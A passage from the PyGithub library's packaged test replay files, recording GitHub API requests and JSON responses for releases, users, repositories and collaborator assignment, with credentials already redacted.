ssues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28524234 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4812'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BECC:27AB:92D84A:1063474:5F0D54C0')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} https GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4811'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BED4:7422:2911D5:6D8A5B:5F0D54C1')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4810'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BEDC:0305:8CBCFB:F66889:5F0D54C1')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/tags/v1.0 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4809'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '81B6:0D15:BF7380:14492E8:5F0D54C2')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.setUp.txt0000644000175100001660000002102614756101563022176 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 07:32:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"37ea58577585c38f93634ef43114c657de2581286eb6976ec18c274de296eff0"'), ('Last-Modified', 'Mon, 06 Jan 2025 21:35:40 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1736238735'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B6D4:4D93:FECF60:106E791:677CD87F')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-06T21:35:40Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7122,"watchers_count":7122,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":357,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":357,"watchers":7122,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testAddToCollaboratorsCustomRole.txt0000644000175100001660000000272314756101563027540 0ustar00runnerdockerhttps GET api.github.com None /users/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '554'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4955'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"4e931612aa9051643f0a428d2ae60b2e"'), ('date', 'Sun, 27 May 2012 05:34:26 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","url":"https://api.github.com/users/Lyloa","html_url":"https://github.com/Lyloa","company":null,"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":1,"following":0,"created_at":"2011-10-16T14:36:46Z","blog":null,"login":"Lyloa","public_gists":0,"hireable":false,"name":"Lyloa","bio":null,"id":1131432,"public_repos":0,"location":"Paris","email":"nyu@lyloa.net"} https PUT api.github.com None /repos/PyGithub/PyGithub/collaborators/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permission": "custom_role"} 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4953'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 05:34:27 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testAssignees.txt0000644000175100001660000001604014756101563023717 0ustar00runnerdockerhttps GET api.github.com None /users/Lyloa {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '559'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4997'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sun, 16 Oct 2011 14:37:52 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bf612afdcca3f4967bc08bb5eeebc443"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:12:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":0,"type":"User","login":"Lyloa","following":0,"location":"Paris","bio":null,"avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_repos":0,"created_at":"2011-10-16T14:36:46Z","email":"nyu@lyloa.net","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","url":"https://api.github.com/users/Lyloa","name":"Lyloa","company":null,"followers":1,"html_url":"https://github.com/Lyloa","id":1131432,"blog":null,"hireable":false} https GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 